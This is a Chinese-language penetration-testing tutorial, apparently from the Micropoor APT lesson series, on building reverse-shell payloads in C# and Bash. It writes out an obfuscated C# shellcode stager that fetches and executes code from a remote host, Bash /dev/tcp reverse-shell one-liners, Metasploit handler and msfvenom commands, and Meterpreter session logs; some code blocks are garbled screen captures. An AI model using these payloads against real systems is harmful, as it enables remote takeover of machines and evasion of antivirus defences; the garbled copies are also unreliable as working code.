

专注APT攻击与防御

<https://micropoor.blogspot.com/>

在实战中可能会遇到各种诉求payload，并且可能遇到各种实际问题，如杀毒软件，防火墙拦截，特定端口通道，隧道等问题。这里我们根据第十课补充其中部分，其他内容后续补充。

这次主要补充了C#，Bash

ps:在线代码高亮：<http://tool.oschina.net/highlight>

1.C#-payload

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
```

混淆：

```
using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.IO;
namespace RkfCHt1l { class LiNGeDokqnEH {
    static byte[] idCWVw(string VVUUJUQytj1L, int eMcukOUqFuHbUv) {
        IPEndPoint nlttgWAMdEQgAo = new IPEndPoint(IPAddress.Parse(VVUUJUQytj1L), eMcukOUqFuHbUv);
        Socket fzTiwdk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        try { fzTiwdk.Connect(nlttgWAMdEQgAo); }
        catch { return null; }
        byte[] gJVVagJmu = new byte[4];
        fzTiwdk.Receive(gJVVagJmu, 4, 0);
        int GFxHorfhzft = BitConverter.ToInt32(gJVVagJmu, 0);
        byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5];
        int yVcZAEmXaMszAc = 0;
        while (yVcZAEmXaMszAc < GFxHorfhzft)
        { yVcZAEmXaMszAc += fzTiwdk.Receive(mwxyRsYNn, yVcZAEmXaMszAc + 5, (GFxHorfhzft - yVcZAEmXaMszAc) < 4096 ? 0 : 4096);
        byte[] XEvFDc = BitConverter.GetBytes((int)fzTiwdk.Handle);
        Array.Copy(XEvFDc, 0, mwxyRsYNn, 1, 4); mwxyRsYNn[0] = 0xBF;
        return mwxyRsYNn; }

    static void hcVPkmyIZ(byte[] fPnfqu) {
        if (fPnfqu != null) {
            UInt32 hcoGPUltNcjK = VirtualAlloc(0, (UInt32)fPnfqu.Length, 0x1000, 0x40);
            Marshal.Copy(fPnfqu, 0, (IntPtr)(hcoGPUltNcjK), fPnfqu.Length);
            IntPtr xOxEpnqW = IntPtr.Zero;
            UInt32 ooiiZLMzO = 0;
            IntPtr wxPyud = IntPtr.Zero;
            xOxEpnqW = CreateThread(0, 0, hcoGPUltNcjK, wxPyud, 0, ref ooiiZLMzO);
            WaitForSingleObject(xOxEpnqW, 0xFFFFFFFF); }

    static void Main() {
        byte[] dCwAid = null; dCwAid = idCWVw("xx.xx.xx.xx", xx);
        hcVPkmyIZ(dCwAid); }

        [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 qWBbOS, UInt32 HoKzSHMU, UInt32 dwAllocationType, UInt32 dwProtectType);
        [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 tqUXybroZ, UInt32 FMmVpwin, UInt32 lpStartAddress, UInt32 lpParameter, UInt32 dwThreadID, UInt32 dwCreationFlags);
        [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr CApwDwK, UInt32 uzGJUddCYTd); }}
```

菜鸟工具 WEB 在线编辑器 SVG 在线编辑器 实例归档 菜鸟教程 输入关键字.....

C# 在线工具

```

1 using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;
2 namespace RfC11 { class L1GeDokqEH {
3     static byte[] idCWw(string VVVVJUqytjLL, int eMcukOUqFuHbUv) {
4         IPEndPoint nlttWAMdEgAn = new IPEndPoint(IPAddress.Parse(VVVVJUqytjLL), eMcuk);
5         Socket fzTiwdk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
6         try { fzTiwdk.Connect(nlttWAMdEgAn); }
7         catch { return null; }
8         byte[] gJVagJm = new byte[1024];
9         fzTiwdk.Receive(gJVagJm);
10        int GFxHorfhzIt = BitConverter.ToInt32(gJVagJm, 0);
11        byte[] mwyRsTnN = new byte[1024];
12        int yVcZAEmAmszAc = 0;
13        while (yVcZAEmAmszAc < 1024) {
14            yVcZAEmAmszAc += fzTiwdk.Receive(mwyRsTnN);
15        }
16        byte[] XEfFDc = BitConverter.GetBytes(yVcZAEmAmszAc);
17        Array.Copy(XEfFDc, 0, mwyRsTnN, 0, 4);
18        return mwyRsTnN;
19    }
19 static void hcPkmayIZ(byte[] fPnfqu) {
    if (fPnfqu != null) {
}
}

```

程序正在运行中.

笔记本 - root@John: ~ - Xshell 5 (Free for Home/School)

文件(F) 编辑(E) 查看(V) 工具(T) 选项卡(B) 窗口(W) 帮助(H)

ssh://root@192.168.1.107:22

要添加当前会话，点击左侧的箭头按钮。

1 192.168.1.107:22 * 2 笔记本 *

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.107:53

[*] Sending stage (179779 bytes) to 118.31.45.91

[*] Meterpreter session 3 opened (192.168.1.107:53 -> 118.31.45.91:37052) at 2017-12-02 20:45:10 +0800

1.Bash-payload

i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1

菜鸟工具 WEB 在线编辑器 SVG 在线编辑器 实例归档 菜鸟教程 输入关键字.....

Bash 在线工具

```

1 #!/bin/bash
2 i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1

```

程序正在运行

192.168.1.107:22 - root@John: ~ - Xshell 5 (Free for Home/School)

文件(F) 编辑(E) 查看(V) 工具(T) 选项卡(B) 窗口(W) 帮助(H)

ssh://192.168.1.107:22

要添加当前会话，点击左侧的箭头按钮。

1 192.168.1.107:22 * 2 192.168.1.107:22 *

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.107:53

[*] Sending stage (179779 bytes) to 118.31.45.91

```

exec 5</>/dev/tcp/xx.xx.xx.xx/xx
cat <&5 | while read line; do $line 2>&5 >&5; done

```

菜鸟工具 WEB 在线编辑器 SVG 在线编辑器 实例归档 菜鸟教程 输入关键字.....

Bash 在线工具

```

1 #!/bin/bash
2 exec 5</>/dev/tcp/xx.xx.xx.xx/xx
3 cat <&5 | while read line; do $line 2>&5 >&5; done

```

程序正在运行中.....

192.168.1.107:22 - root@John: ~ - Xshell 5 (Free for Home/School)

文件(F) 编辑(E) 查看(V) 工具(T) 选项卡(B) 窗口(W) 帮助(H)

ssh://192.168.1.107:22

要添加当前会话，点击左侧的箭头按钮。

1 192.168.1.107:22 * 2 192.168.1.107:22 *

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.107:53

[*] Sending stage (179779 bytes) to 118.31.45.91

[*] Meterpreter session 1 opened (192.168.1.107:53 -> 118.31.45.91:32914) at 2017-12-02 20:45:10 +0800

附录：

msfvenom 生成bash

```
root@John:~# msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw > payload.sh
```

参数简化

项目地址：<https://github.com/g0tmi1k/mpc>

```
root@john:~/mpc# ./nsfpc.sh
[*] MSFVenom Payload Creator (NSFPC v1.4.4)

(ii) Missing TYPE or BATCH/LOOP mode

Example: ./nsfpc.sh windows 192.168.1.10           # Windows & manual IP.
          ./nsfpc.sh eth0 bind eth0 4444            # Linux, eth0's IP & manual port.
          ./nsfpc.sh stageless cmd py https          # Python, stageless command prompt.
          ./nsfpc.sh verbose loop eth1              # A payload for every type, using eth1's IP.
          ./nsfpc.sh nsf batch wan                  # All possible Meterpreter payloads, using WAN IP.
          ./nsfpc.sh help verbose

<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .exe // .d11]
```

- Micropoor